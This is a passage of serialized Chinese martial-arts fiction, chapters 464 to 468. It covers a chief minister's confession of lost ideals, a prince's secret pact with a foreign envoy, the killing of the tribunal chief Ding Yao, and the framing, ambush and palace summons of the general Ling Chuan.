“后来,老秀才发现了这个洞……”黄千浒的嘴角泛起一丝几不可察的笑意,“他没有责骂我,而是问我为何要读书?如果将来做了官,要当什么样的官?倘若有一天站在朝堂之上,你能为天下人做些什么?”他缓缓摇头,“那时我一个问题都答不上来。” “但从那以后,老秀才允许我干完活后,坐在学堂的最后一排听他讲学。”他的声音里带着久违的温暖,“十年寒窗,我终于中了秀才。然后就这么一步一步,从县试到殿试,走到了如今这个权倾朝野、位极人臣的位置。” 阳光在他花白的鬓发间流转,投下细碎的光斑。“老秀才的学问就那么些,可我这几十年来,始终将他当年的三个问题牢牢记在心里,一直在寻找答案。” 庭院中鸦雀无声,连秋风拂过树叶的沙沙声都清晰可闻。跪着的官员们个个屏息凝神,他们从未想过,这位执掌朝纲数十载的首辅大人,竟有着如此坎坷的童年。 黄千浒继续道,目光渐渐锐利,“当我还是个七品知县时,天不亮就起身,带着衙役帮百姓抢收庄稼,亲自下田丈量土地。看着他们感激的眼神,我以为自己能改变这一方天地。” 他的声音低沉下来,“直到那年大旱,我跪在干裂的田埂上,看着老农把最后一捧稻种喂进奄奄一息的孩子嘴里。那一刻我才明白,凭一人之力,充其量只能让几户人家多吃几顿饱饭。” 他抬手轻轻抚过窗棂,仿佛在抚摸那些遥远的记忆,“后来升任知州,手握一州民生。我兴修水利,整顿吏治,以为终于能做一番事业。可漕运突然改道,十万石赈灾粮被户部一句统筹调配就截留他处。”他的手指微微收紧,“我站在城楼上,看着逃荒的百姓像潮水般挤满官道,手里的调粮文书成了废纸。原来在这盘大棋上,我也只是一枚过河的卒子!” “再后来官拜节度使,坐镇一方。”黄千浒的眼神变得深邃,“我雄心勃勃,想要清丈田亩、均平徭役,为黎民谋个万世之基。可政令甫出,便如石沉大海。”他的声音里带着几分自嘲,“那些绵延数百年的世家大族,姻亲故旧盘根错节,早已将州县上下织成一张铁网。我清查隐田,他们便送上冰敬炭敬;我欲整顿吏治,他们便在席间笑语,提起朝中某位阁老正是其族中长辈。” 他的目光扫过庭院中跪着的官员,其中不少人低下了头。“这偌大官署,从别驾长史到巡城小吏,竟无一人不与他们沾亲带故。我想做的每一件事,看似无人反对,实则寸步难行。那一刻我才明白,这身紫袍金带看似尊贵,却斩不断那无数由人情、血脉与利益结成的丝线。” “如今位列内阁首辅,执掌天下权柄!我再不是当年那个为一县旱情痛心疾首的七品官了,也无需再看他人脸色……”黄千浒的声音忽然变得很轻,像是在自言自语。 “前年江淮大水,我力排众议,以三府赋税为质向盐商借粮百万石。有人骂我与民争利,可若不让盐商出这笔血,饿死的何止十万流民?” 他微微仰头,望着庭院上空那片湛蓝的天,“一月前批红,将弹劾我的清流门生流放岭南,他们只看得见不与商贾争利的清名,却看不见漕运改道后三十万民夫等着开春的粮饷。” “今晨路过六科廊,听见几个新科进士在议论为民请命,那副慷慨激昂的模样……我恍若看见三十年前跪在田埂上的自己。可他们不懂,这朝堂之上从来不是非黑即白。” 最后,他的声音低沉得几乎听不见,却字字清晰地传入每个人耳中:“要保住边境军饷,就得默许晋商走私;要推行一条鞭法,就得先让世家尝到甜头。当年憎恶的那些人,那些手段,如今倒成了维稳朝局的良药。” 黄千浒的脸上浮现出一种复杂的表情,既有苦涩的自嘲,也有深深的疲惫。“最讽刺的是,当我终于学会用他们的规则来治理这个天下时,才发现自己早已成了当初最憎恶的那种人……” 第一卷 第464章 大皇子,周苍 庭院中依旧寂静,但每个人的心中都掀起了惊涛骇浪。 谁也没想到,执宰天下的首辅大人,竟有这样一段不堪回首的童年,更想不到他会当众剖白这段过往。几个跪在前排的官员不自觉地交换着眼神,都在对方眼中看到了同样的震惊。 黄千浒的目光缓缓扫过众人,声音沉稳如古井:“无论是曾经那个七品县令,还是如今身为内阁首辅,我黄千浒的初衷始终没变。我想为天下百姓做点事情,哪怕因此背负千古骂名也在所不惜。”他微微停顿,目光变得深远,“然而,在大势面前,众生皆为棋子!” 他忽然轻轻摇头,语气中带着几分难以言说的复杂:“平心而论,老夫非但不讨厌凌川,反而很欣赏他!”这话让在场众人都露出诧异的神色。 “因为他像极了曾经的我,满腔热血,以为凭借一腔孤勇就能涤荡这世间的污浊!” 黄千浒的声音忽然低沉下来,带着一种历经沧桑的疲惫:“但,也正因为如此,我才要阻止他。因为他所走的路,老夫多年前便已经走到了尽头,亲眼看到,那是一条死路!” 突然,他的声音陡然一变,眼神中迸射出冰冷的杀机,锐利的目光如同实质般扫过每一个人的脸:“你们之中哪些是永夜的人,自己主动去廷尉府!” 此言一出,本就安静的现场顿时陷入死寂。 好几名官员眼神闪烁,不自觉地垂下头,死死盯着青石板上的纹路,有人不自觉地攥紧了袖口,有人喉结轻轻滚动,还有人额角渗出细密的汗珠,在秋日的阳光下闪着微光。 ...... 大皇子周苍离开首辅府后,径直坐上了自己的轿辇,轿帘落下,隔绝了外界的视线。 他靠在轿厢内壁上,长长舒了一口气,方才在黄千浒面前的镇定自若渐渐褪去,取而代之的是眉宇间难以掩饰的焦虑。 轿子没有按照惯例走朱雀大道,而是拐进了一条僻静的小巷。 巷子两旁的灰墙斑驳,偶有几处墙皮剥落,露出里面的青砖,在经过一条更窄的巷口时,轿辇忽然停下,周苍迅速下轿,闪身走进一扇不起眼的木门,但,但很快便返回,起轿离开。 轿子离开不久,一名身着素衣的男子自屋子中走出,正是理应乘轿离开的大皇子。 只不过此时的他已经换了一身衣服,连发髻都重新梳理过,用一根简单的木簪固定。他警惕地四下张望,确认无人注意后,快步朝着另一个方向走去。 殊不知,不远处一座宅院的屋顶上,一道灰色的身影始终静立如雕塑,将方才的一切尽收眼底。 见周苍离开,那身影如鬼魅般轻轻一跃,悄无声息地落在另一处屋檐上,始终保持着恰到好处的距离,如影随形。 周苍对这片街巷极为熟悉,在迷宫般的小巷中七弯八拐,最后停在大和使团下榻的驿馆后门,他再次环顾四周,这才抬手叩门,木门应声开启一条缝隙,他迅速闪身而入。 远处的灰色身影如一片落叶般飘至驿馆围墙外的一棵大树上,茂密的枝叶完美地遮掩了他的身形,透过枝叶的缝隙,他看见周苍径直走向东北角的房间,尽管是白天,那里却依旧烛火通明,纸窗上投映出几道模糊的人影。 房间外,孤冥与镜千泷如两尊门神般伫立。 周苍抱拳对着紧闭的房门朗声道:“周苍,前来拜会雪姬公主!” “大皇子请进!”屋内传来一个生硬的中原话口音。孤冥与镜千泷这才缓缓推开房门,动作整齐划一,仿佛经过精密计算。 踏入房间,一股淡淡的檀香味扑面而来。 原本的中式桌椅已被撤去,取而代之的是铺着草垫的芦席,房间正中摆放着一张一尺来高的矮茶桌,上面置着一套精致的茶具,小火炉上的茶壶正冒着袅袅白气。 雪姬公主跪坐在主位,那张涂满白粉的脸在烛光下更显诡异,殷红的小嘴如同雪地里绽放的毒菇。 她对面的中年男子同样跪坐,观其面相更似中原人,唯有唇上那撮精心修剪的仁丹胡透露出他的身份。 雪姬正专注地摆弄茶具,动作优雅却带着异域的僵硬感。 中年男子对周苍做了个请的手势,五指张开时露出指关节处厚重的老茧。 大皇子依言跪坐下来,芦席发出细微的窸窣声,雪姬拾起刚煮沸的茶壶,为他斟了一杯碧绿的茶汤。 中年男子用极其标准的中原话说道:“此茶名为雨露,正好印证了你们中原那句‘金风玉露一相逢,便胜却人间无数’。” 周苍端起茶杯,敷衍地抿了一口,便将茶杯放回桌上,瓷器相碰发出清脆的响声,“公主殿下,本皇子此次前来,是想跟你确认一件事!” 雪姬仿佛没有听见,依旧专注地看着茶壶中升腾的水汽,中年男子代为答道:“大皇子请讲!” “我需要贵国出兵牵制东疆水师!”周苍沉声道,每个字都说得极其清晰,“我以东海诸岛作为回报!” 中年男子神色不变,手指轻轻转动着手中的茶杯,那白瓷茶杯在他五指间灵巧地穿梭,杯中的茶水却纹丝不动,显示出惊人的手上功夫。 “大皇子……”他缓缓开口,声音平稳得令人不安,“这是三年前的条件,可现在局势不一样了!” 他微微前倾身体,烛光在他脸上投下深深的阴影,“三年前,大周虽已衰败,但还不至于像现在这般摇摇欲坠,毫不夸张地说,我大和帝国随时可以出兵攻破南疆海岸防线。到时候,偌大的大周中原,唾手可得。” 他抬起眼睛,目光如刀锋般锐利:“大皇子觉得,我们还有必要跟你合作吗?” 周苍的目光陡然变得深沉,但他很快镇定下来,指尖在膝上轻轻敲击着节奏:“那先生有没有想过,想要灭掉三十万东疆水师,你们得付出多大代价?更何况,就算你们成功登陆,也将面对沿海各州战兵的抵抗。你们劳师远征,能坚持多久?” 中年男子闻言,唇角勾起一抹不屑的冷笑:“大皇子殿下,没上过战场吧?” 周苍眉头微皱,不明白对方为何突然问这个。 “难道你不知道有一种战术叫以战养战吗?”中年男子慢条斯理地放下茶杯,“至于你说的抵抗...如今的大周从上到下已经腐朽不堪。你觉得无论是将领还是士卒,有几人愿意为你们卖命?” 第一卷 第465章 燕返无踪 周苍深吸一口气,茶水的热气模糊了他瞬间阴沉的面容。 他自然知晓,对方所言句句属实,而最让他忧心的是,东疆主帅林远图乃是二弟的人,这也是他入主东宫,登上太子之位最大的阻碍。 周苍沉默了良久,烛火在他脸上投下摇曳的阴影。他再次开口时,声音带着几分沙哑:“那先生要什么条件?” 那中年男子眼神中闪过一丝宛如饿狼般的贪婪,语气却依然平淡:“我们可以助你坐上太子之位,甚至可以扶着你登上皇位,但你要把东海沿岸五百里划为我大和民族的领地!” “这不可能!”周苍彻底坐不住了,他猛地站起身来,衣袖带翻了桌上的茶盏,淡黄的茶汤在芦席上洇开一片深色,“我是想当太子,想当皇帝,但我绝不会当民族的罪人!” 那中年男子淡淡一笑,似乎对他的反应毫不意外,慢条斯理地扶正茶盏:“大皇子果然有骨气,只可惜,在这摇摇欲坠的大周王朝面前,你这点骨气一文不值!” 他目光陡然变得凌厉,如刀锋般直刺周苍:“对于大和帝国来说,你答不答应都无关紧要。我们完全可以换一个人合作,甚至直接硬抢更简单!” 大皇子呼吸急促,双目通红:“先生不也是周人吗?为何要做这种数典忘祖的事情?” 中年男子眼中闪过一丝深刻的仇恨,声音冰冷:“我先祖曾是中原人,但不是周人!” 周苍显然没有听出这话中的深意,或者说此刻他已无暇深思,他缓缓坐回原位,芦席发出细微的摩擦声。烛火在沉默中摇曳,映照着他阴晴不定的面容。 雪姬依旧怡然自得地煮着茶,纤白的手指在茶具间流转,仿佛二人的谈话与她毫无关系。 许久之后,周苍才抬起沉重的目光:“我希望先生言而有信。” “放心!”中年男子微微颔首,“既然答应了大皇子殿下,那就一定会办到。” 忽然,他脸色一变,厉声喝问:“殿下,不是说好了只能你一个人来吗?” 周苍面露惊惧:“我并未带随从啊!” 中年男子点了点头,用和语朝门外喊道:“有贵客到访,二位去把人请进来吧!” 孤冥与镜千泷应声而动,身形如鬼魅般消失在门外。 而此时,隐匿在屋后槐树上的那道身影也察觉到自己暴露了,可就在他正要撤离之际,一道绚烂的刀芒已迎面斩来,刀风凌厉,卷起满地落叶。 那人身形疾闪,险险避开孤冥这狠辣的一刀,可就在此刻,镜千泷已悄无声息地来到他身后,手中长刀一记横扫,封死了所有退路。 那人神色平静如水,迅速拔出一把软剑,随着他手腕一抖,软剑如灵蛇出洞,缠向镜千泷的长刀,剑身上弥漫出的凌厉剑气直削对方手腕。 “咻咻咻……” 镜千泷神色微变,连忙收刀后撤,她一眼看清了对方是个四十多岁的中年男子,更认出了他的身份—— 廷尉府总督,丁爻! 忽然,她敏锐地注意到丁爻的左肩正在渗血,内衬衣衫上有一片深色污渍,显然旧伤未愈。 镜千泷唇角浮现出一抹冷笑,却并未作声。 与此同时,后方的孤冥也已提刀赶到,只见他缓缓举起手中武士刀,澎湃的真气如流水般涌向刀身,刀身泛起淡淡青芒。 刹那间,武士刀上萦绕的真气变得凌厉无比,刀锋周围的空气都开始微微扭曲。 “喝!” 孤冥一步踏出,青石板应声碎裂,手中战刀猛然劈下,一道凌厉的刀芒割裂空气,带着尖锐的破空声直取十步之外的丁爻。 他虽然用的是刀,但施展的却是实打实的剑招。 丁爻作为廷尉府总督,对这两位大和后起之秀早有了解,心知孤冥虽是六重境修为,但身为剑圣高徒,剑术必有独到之处。 自己重伤在身,不敢有丝毫大意。 “嗡!” 软剑在真气灌注下瞬间绷得笔直,发出一声清越剑鸣,丁爻抬手一剑刺出,剑尖精准地点在那道恐怖的刀芒上。 “轰!” 刀芒应声碎裂,狂暴的气劲向四周扩散,在周围的树干之上留下道道口子。 软剑上的真气也随之溃散,剑身恢复柔软,丁爻嘴角溢出一丝血迹,面色苍白地连退三步,每一步都在青石板上留下浅浅的脚印。 他眼神依旧平静,心中却大为震惊,想不到这两个年轻人修为进境如此之快,若是全盛时期,自可轻松压制,但昨夜在御书房与晋槐安一战,伤势极重,实力已大打折扣。 孤冥提刀逼近,口中说着晦涩难懂的和语。 后方镜千泷身形一闪,竟如轻烟般从原地消失,丁爻敏锐地察觉到一股杀机正在逼近,他紧握长剑,再次运转真气。 忽然,丁爻后心一凉,原来不知何时,一道寒芒已袭至后心。他反手一剑刺出,软剑轨迹诡谲难测,带着尖啸之声堪堪挡下这一刀。 镜千泷见偷袭落空,毫不恋战,身形再闪,又消失在树林。 就在此时,孤冥再次出手,武士刀上寒芒暴涨,他身形一跃而起,如饿狼扑食般冲向丁爻。 就在丁爻举剑相迎的刹那,对方的身影竟凭空消失,前方空中只余一片空寂。 “燕返无踪!” 孤冥的喝声从另一个方向传来,刀势如虹,速度之快令人心惊,尽管听不懂和语,丁爻却能感受到这一式蕴含的恐怖杀机。 他立身原地,手中软剑如灵蛇游动,冷喝道:“雕虫小技!” 软剑一挥,满地落叶应声而起,随着剑尖在空中翻飞,紧接着他举剑指天,漫天落叶在真气灌注下化作利刃,呼啸着射向四面八方。 “咻咻咻……” 正准备偷袭的镜千泷被逼得现出身形,连连后退。孤冥虽然劈开了成片落叶,但这一刀凝聚的威势也已消散。 就在这电光石火间,丁爻动了。 他手中软剑如毒蛇出洞,直取孤冥咽喉。剑尖在月光下闪烁着致命的寒芒,这一剑凝聚了他毕生的修为,纵然重伤在身,依旧凌厉无匹! 第一卷 第466章 丁爻身死 “叮……” 就在丁爻这一剑即将刺中孤冥咽喉的刹那,一道清脆的金铁交鸣声响起。 镜千泷果断出手,长刀如电,堪堪荡开了这致命一击,紧接着,她衣袖翻飞,漫天暗器如暴雨般朝着丁爻倾泻而来,每一枚暗器都闪烁着幽蓝的寒光,显然淬有剧毒。 丁爻手中软剑舞动如风,剑光织成一片密不透风的网,将所有暗器尽数挡下,剑刃与暗器碰撞发出的叮当声不绝于耳,在树林中格外刺耳。 “砰!” 可就在下一瞬,一声闷响传来。 丁爻的身体如断线风筝般横飞出去,后背重重撞在一棵槐树树干上,震得枝叶簌簌作响,他当场喷出一大口鲜血,染红了胸前的衣襟。 只见原本在屋内的那名中年男子,不知何时已悄无声息地出现在场中,他身侧站着面色苍白的周苍,方才正是这中年男子轻描淡写的一掌,直接将丁爻震飞。 别说丁爻有伤在身,就算全盛时期,也未必是此人的对手,因为他已经踏入了九重境。 昨夜在御书房,他们三名八重境强者联手,再加上出其不意的偷袭才侥幸干掉晋貂寺,而丁爻与南宫昰都身负重伤,这就是最好的证明。 丁爻脸色惨白如纸,嘴角不断溢出鲜血,他挣扎着站起身,满脸震惊:“玄阴掌!你竟然是玄阴老人的传人!” 中年男子冷漠一笑,被扯动的仁丹胡显得格外阴森:“堂堂廷尉府总督,实力也不过如此!” 丁爻苍白的脸上浮现出一抹讥诮的冷笑,他没有反驳,而是将目光看向周苍:“大周帝国的皇子,竟然勾结外敌,真是可悲又可笑!” 周苍脸上闪过一抹慌乱,即便贵为皇子,在面对廷尉府时依然有着本能的畏惧。 但很快,他眼中闪过一丝狠厉,语气冰冷:“丁总督,既然你发现了,那今日就别想活着离开了!” 丁爻不屑地笑道:“你觉得这神都,有什么事情能瞒过廷尉府和通天卫吗?你就算杀了我,陛下一样会知道!” “杀了他!”大皇子沉声喝道。 就在这一瞬,丁爻猛然暴起,如离弦之箭般扑向周苍,后者大惊失色,连连后退。那留着仁丹胡的中年男子一步踏出,面对丁爻刺来的长剑,竟然直接一把抓了上去,只见他掌指间真气弥漫,那软剑竟伤不了他分毫。 丁爻见状,没有丝毫犹豫主动弃剑,身形不停,继续扑向周苍。 周苍仓皇后退,而一旁的孤冥却果断出手,武士刀带着凌厉的刀风直刺丁爻后心,对此,丁爻不闪不避,似乎铁了心要为皇族清理门户。 “噗……” 就在他抓住周苍衣襟的刹那,孤冥的刀锋已经贯穿了他的后心,周苍趁机挣脱丁爻的双手,踉跄后退。 丁爻口吐鲜血,转身朝着密林深处蹒跚逃去,镜千泷与孤冥对视一眼,立即追了上去,他们很清楚,绝不能让丁爻活着离开。 夜色渐深,丁爻用最后一丝真气护住心脉,竭尽全力朝着皇宫方向逃去,身后,镜千泷与孤冥穷追不舍。 尽管丁爻凭借对地形的熟悉几次甩开二人,但他一路洒下的鲜血,却成了最好的指路标记。 忽然,他模糊的视线捕捉到不远处宁王府后院的轮廓,想到凌川正住在王府之中,他用尽最后力气冲了过去。 “什么人,站住!”两名凌川的亲兵发现了他,立即上前盘问。 丁爻却毫不理会,用尽最后气力翻过院墙,重重摔在后院青石板上。 不远处,镜千泷与孤隐隐藏在暗处,看着他翻进凌川的住所,不敢再追。 两人低声交谈几句,镜千泷转身离去,孤冥则留在原地继续监视。 很快,苍蝇前来禀报:“将军,刚刚一名浑身是血的人从后院翻了进来,他身受重伤,不知是何身份!” 凌川闻言一惊:“去看看!” 来到后院,只见浑身是血的丁爻靠在墙角,虽然他胸膛还在微微起伏,但眼神已经开始涣散,显然大量失血已经夺走了他大部分生机。 凌川不认识他,但他显然认得凌川,看到凌川到来,他几次张嘴,却一个字也说不出来。 凌川连忙上前蹲下身子:“你想说什么?” 丁爻微微抬手,凌川注意到他满是鲜血的手中紧握着一块玉牌,就在他准备将玉牌交给凌川时,手臂却无力地垂落。 “勘察周围情况,看是谁在追杀他!”凌川沉声下令。 “兄弟们已经撒出去了!”苍蝇立即回应。 紧接着,凌伸手在他腰间摸索,很快摸出一块鎏金腰牌,腰牌之上的总督二字彻底证实了他的身份。 因为,偌大的神都,就只有一位总督,那就是执掌廷尉府的丁爻! 廷尉府总督,竟然在神都天子脚下被人追杀致死,任谁见到这一幕,都会震惊得说不出话来。 凌川费力地将他紧握在手心的那枚玉牌取了下来,玉牌上沾满血迹,但凌川还是敏锐地捕捉到了一个细节,不过他并未声张。 “将军,外面来了大批禁军,说是要进行搜查,兄弟们拦不住!”孟钊快步跑来,语气急切。 凌川眉头微皱,但很快就明白过来,心中已有大致猜测。 “让他们进来吧。”凌川淡淡说道。 很快,沉重的脚步声和兵甲碰撞声由远及近,一名年近四十、面容冷峻的男子率队闯入。 “禁军办事,谁敢阻拦,杀无赦!”来人气势汹汹,身后禁军个个战刀出鞘,杀气腾腾。 见到这一幕,苍蝇等一众亲兵却立即反应过来,他们可不管来人是谁,但凡威胁到凌川安全,他们都会毫不犹豫地拼命。 “谁他妈敢上前一步,别怪老子不认人!” “苍蝇,让兄弟们退后!”凌川沉声下令,随即迈步上前。 “在下凌川,敢问阁下是禁军哪位统领?”凌川抱拳问道。 “禁军统领裴骁,奉命前来办案!”男子冷声喝道。 说完,他不再理会凌川,径直走向丁爻的尸体,伸手探了探鼻息,随后转身怒视凌川,厉声喝道:“凌川,你好大的胆子,竟敢谋杀廷尉府总督!” 第一卷 第467章 精心算计 “放你娘的狗屁!”苍蝇怒目圆睁,手中战刀直指裴骁,“他自己翻墙进来的时候就已经只剩半口气了,怎么就成我们杀的了?” 凌川缓步上前,目光如炬地直视裴骁:“裴统领,人非我所杀。况且,我也是刚刚才确认丁总督的身份,你如此武断地认定我为凶手,未免太过草率了吧?” 此时凌川已经断定,这是一个精心设计的圈套,否则丁爻刚在后院咽气,禁军怎会如此迅速地赶到,一切都像是早已编排好的戏码。 他现在唯一不确定的是,这出戏的幕后之人究竟是陛下,还是另有其人。 裴骁冷声道,手已按在刀柄上,“不管是不是你亲手所杀,丁总督的尸体出现在你的院子里,你就得随我回去接交代情况!” “不行!”凌川尚未开口,苏璃已带着翠花快步赶来。 此时,苏璃的眼神中带着仇恨与怒火,此前凌川便已经得知,一年前苏大将军回神都,便是裴骁带人扣下了唐岿然那一千亲兵,她绝不能容许历史重演。 翠花宛如一尊怒目金刚护在苏璃身侧,手中两口大环刀哗啦作响,寒光慑人。苏璃则紧握着凌川送她的凤翅匕首,指节因用力而发白。 裴骁冷笑着扫视众人:“怎么?你们这是要抗命不成?” “裴统领!”凌川目光灼灼,“我好歹是陛下钦封的镇北将军,你要拿我,总该请一道圣旨吧?” 裴骁嗤笑道:“莫说你只是个五品将军,便是三品大将军,若敢抗命,我禁军一样可以先斩后奏!”说罢对身后禁军厉声下令:“给我拿下!胆敢反抗者,格杀勿论!” “唰唰唰……” 苍蝇二话不说,战刀已然出鞘,沈珏与孟钊率领亲兵迅速列阵,与禁军形成对峙之势。 刀光剑影在月色下闪烁,杀气在院中弥漫,眼看一场血战就要爆发。 就在这千钧一发之际,一道尖细的嗓音自院外传来: “圣旨到!” 只见刘恩赐抱着拂尘快步而来,额角还带着细密的汗珠,“陛下口谕,传镇北将军凌川,即刻入宫觐见!” 裴骁眉头紧锁:“刘公公,圣旨何在?” 刘恩赐抬眼看他,语气平静:“咱家说了,是陛下口谕!” 裴骁嘴角勾起一抹冷笑:“本将怎知你是不是假传圣旨,意图包庇凌川?” 刘恩赐面色不变,语气却陡然转厉:“咱家只负责传旨,裴统领若是不信,大可亲自进宫向陛下求证!” 裴骁一时语塞,质疑口谕,等同于质疑皇权,这个罪名他可担待不起。 刘恩赐不再理会他,转向凌川道:“将军且去更衣,随咱家入宫吧!” 凌川微微颔首:“有劳公公稍候!”说罢对苍蝇使了个眼色,三人快步进屋。 一进内室,凌川便压低声音急促吩咐:“陛下态度至今不明,苍蝇,你务必护好夫人周全,另外速派人找到阎都统,让他密切注意大和使团的动向!” “遵命!”苍蝇抱拳领命,神色凝重。 苏璃焦急地拉住凌川的衣袖,眼中满是忧色:“相公,宫中危机四伏,你千万要小心……”尽管早已将宫中规矩一一告知,可眼下神都局势诡谲,凌川又深陷漩涡,她如何能放心? 她亲手为凌川整理衣冠,每一个动作都透着不舍,当凌川准备转身离去时,苏璃猛地从背后抱住他,声音哽咽:“答应我,一定要平安回来……” 凌川轻拍她的手背,温声道:“娘子放心,我定会平安归来。” 走出房门,刘恩赐已在阶下等候。 二人登上马车,未带一兵一卒,便朝着皇宫方向驶去。 马车行驶在暮色笼罩的朱雀大街上,辘辘车轮声在空旷的街道上格外清晰。 凌川坐在车内,终究还是忍不住开口问道:“公公,这当真是陛下的旨意?” “哎哟……”刘恩赐在外驾车,闻言压低声音,“便给奴才一百个胆子,也不敢假传圣旨啊。不过……”他顿了顿,“这道口谕,其实在将军抵达神都之前,陛下就已经下达了。” 凌川一怔:“之前就下达了?” “陛下原定明日召将军入宫,但特意吩咐奴才,若遇突发情况,可凭此口谕先行解围!”刘恩赐解释道。 凌川恍然大悟,原来陛下早已预料到可能发生的变故,特意留了这道口谕以备不时之需。 刘恩赐似乎察觉到凌川的疑虑,又道:“将军不必过虑,陛下对将军颇为赏识,按理说咱们这些做奴才的不该揣测圣意,但见夫人如此担忧,老奴就多嘴这一句……” “多谢公……” 凌川话音未落,一股冰冷的杀机突然将他笼罩,还不等他反应,一道寒芒已穿透车顶直刺而下! “嗤……” 一截弥漫着刺骨寒光的剑锋穿透车顶,险险擦过凌川的肩头,他虽及时侧身避开,但那剑身散发的冰冷杀意已瞬间笼罩了整个车厢。 一击落空,车顶的黑衣人并未收剑,剑锋一转,改刺为削,再次袭向凌川。凌川未着甲胄,也未携带兵刃,只能再次闪避,同时猛然抬脚,狠狠踹向车顶! “砰!” 一声巨响,木质车顶被整个掀飞,那道黑影如夜枭般腾空而起,轻巧地落在一旁。 “大胆!” 刘恩赐一声怒喝,手中马鞭如毒蛇出洞,带着尖锐的呼啸声,直取黑衣人要害。 黑衣人显然吃了一惊,未料到这看似弱不禁风的老太监竟是位高手,他身形急闪,避开长鞭,随即再次扑向已然残破的马车。 此时,马车在方才的冲击下终于彻底散架,凌川手持一根车柱,自满地碎木中一跃而起,将其当作长棍,挟着风声迎面砸向黑衣人! “找死!” 黑衣人冷哼一声,举剑相迎,只听砰的一声爆响,长剑贯穿车柱,凌厉的真气瞬间将木棍绞得粉碎。 而凌川已趁此机会近身,右拳猛然轰出,拳锋之上,一层淡金色的光芒隐隐流转,虽不耀眼,却让黑衣人心头一震。 “轰!” 双拳对撞,真气四溢。 凌川连退数步,气血翻涌,而那黑衣男子竟也被震退三步,眼中写满了难以置信,据他所知,凌川踏入武道不久,可这一拳之威,绝非三重境以下武修所能拥有。 第一卷 第468章 奉旨入宫 “将军快走,这里交给咱家!”刘恩赐脚步迅疾地赶来,手中长鞭再次挥出,如灵蛇般缠向黑衣人。 凌川稳住身形,摇了摇头,目光坚定:“在关外面对胡羯千军万马,末将都未曾后退半步,何况一个藏头露尾的宵小之辈!” 面对刘公公刁钻的长鞭,黑衣人急忙挥剑格挡,然而长鞭这类软兵器对刀剑本就有所克制,只见鞭身一抖,巧妙地避开剑锋,如毒蛇般缠上了他握剑的手腕。 刘公公手腕猛地一沉,长鞭随之震荡,一股暗劲如波浪般沿着鞭身传递,重重抽在黑衣人胸前。 “啪!” 衣衫应声破裂,一道血痕赫然显现,黑衣人忍痛挥剑割断鞭梢,但凌川已抓住这转瞬即逝的机会,脚下发力,身形如离弦之箭再次蹿出,又是一记重拳轰向对方! “轰!” 这一拳结结实实地砸在黑衣人胸口,他闷哼一声,身体如断线风筝般倒飞出去,一口鲜血喷出,浸透了蒙面黑巾。 见凌川再度逼近,黑衣人不敢恋战,扬手打出一片暗器,随即强提一口气,迅速退入街旁的黑暗巷弄之中。 “将军小心!” 刘恩赐舞动断鞭,将密集的飞镖尽数击落,随即快步回到凌川身边,关切地问道:“将军,您没事吧?” 凌川微微摇头,平息着体内翻涌的气血:“多谢公公出手相救!” “哎呦,将军要是稍有闪失,老奴这项上人头可就保不住了!”刘恩赐心有余悸。 凌川弯腰拾起一枚落地的飞镖,这是江湖常见的制式,并无特殊标记。 但他敏锐地察觉到,对方投掷飞镖的手法发力方式,与中原常见流派略有不同,带着一种异样的刁钻。 很快,一队巡城禁军闻讯赶来,刘恩赐简明交代情况后,禁军立刻展开搜捕。 二人则选择步行前往皇宫,所幸此地距宫城已不远。 尽管入神都已有数日,但凌川只是远远望见过皇宫的轮廓,从未如此靠近。 随着脚步临近,一股庄严恢弘、令人心生敬畏的气息扑面而来。 皇宫宛如一头沉睡的太古巨兽,静卧于神都中轴之上。 九丈高的朱红宫墙巍然耸立,墙头覆盖的琉璃瓦在夕阳余晖下流淌着沉黯的金色光泽,那是历经千年风霜与烟火淬炼出的独特色彩。 层层飞檐如重峦叠嶂,无数殿宇次第铺展,连绵不绝,仿佛一片凝固了的金色波涛。 整座皇城,便是权力法则的具象化体现,其巍峨使人敬畏,其严密的秩序令人顺从,那沉淀了无数历史的重压,足以碾碎任何天真的理想。 它屹立于此,见证了太多的皇权更迭与王朝兴衰,用最宏大、最沉默的建筑语言,诉说着某种近乎永恒的真理。 古往今来,不知有多少人梦想着能踏入这座天下权柄的中枢。或许,只有身在其中的人方能真正体会到,这座在外人看来威严神圣的皇宫,其本质亦是一座无形的牢笼。 二人并未从正中的承天门进入,而是绕行至西侧的西华门。 宫门守卫显然认得刘恩赐,验过腰牌后便恭敬放行。 踏入宫门,凌川才算真正见识到何为‘天子居所,人间极致’。脚下的宫道以两尺见方的特制金砖墁地,砖面光滑如镜,历经数百年打磨,接缝处细密如发丝,几乎难以辨认。 穿过西华门,首先映入眼帘的是一片开阔的广场,远处是蜿蜒如玉带的金水河,一座座精雕细琢的汉白玉石桥横跨其上。 刘恩赐引着凌川沿主道前行,似乎并不着急,反而是在沿途中低声向凌川介绍: “将军,前方那重檐庑殿顶的宏伟殿宇,便是武英殿!陛下时常在此召见武将,阅示兵阵图。殿前那对铜狮,乃是太祖皇帝立国时,收缴天下兵器熔铸而成,意在止戈平乱。” 凌川抬头望去,只见武英殿匾额乃是以遒劲的楷书写就,他虽不懂书法,但也能感受到那一笔一划间蕴含的气韵。 绕过武英殿,穿过一道月华门,景色豁然开朗,一条更宽阔的御道笔直延伸,两侧古柏参天,枝干虬龙般探向天空。 刘恩赐指着路旁那些需数人合抱的巨木,“这些柏树多是太祖与太宗皇帝亲手所植,至今已逾三百年。陛下每年清明,都会亲至此处,抚树追思先祖创业之艰。” 继续前行,路过一处名为‘奉先殿’的宫院,门口石碑上刻着劝课农桑的诗文,笔力沉雄,刘恩赐告知此为世宗皇帝御笔亲题。世宗皇帝以勤俭爱民著称,这块碑文意在警示后世子孙勿忘根本。 沿途所见殿宇,无不雕梁画栋,斗拱层层叠叠,彩绘绚丽。 琉璃瓦在夕阳下闪烁着柔和而富丽的光泽,檐角蹲兽形态各异,默默守护着这片皇家禁地。 不时有身着统一服色的太监宫女低头敛目,步履轻悄地经过,见到刘恩赐皆恭敬避让行礼,整个宫城秩序井然,安静得只能听到风声和自己的脚步声。 最终,刘恩赐引着凌川来到一处相对僻静的宫殿前,殿门悬挂的匾额上写着‘养心殿’三字,字体清秀雅致,与一路所见的雄浑风格迥异。 “将军,请在此稍候,咱家进去通传!”刘恩赐示意凌川在殿外廊下等候,自己则整理了一下衣冠,迈着悄无声息的步子走进了殿内。 凌川立于廊下,目光扫过庭院中精心修剪的花木和嶙峋的假山,心中对即将面见的皇帝,以及这深不可测的皇宫,充满了复杂的思绪。 曾经还在北疆之时,他曾坚定地认为,大周之所以腐朽到这种地步,朝堂之上的权臣、各地拥兵自重的武将,以及不断吸食帝国血肉的世家豪门皆是元凶,但真正的罪魁祸首,还得是做早龙椅之上的皇帝。 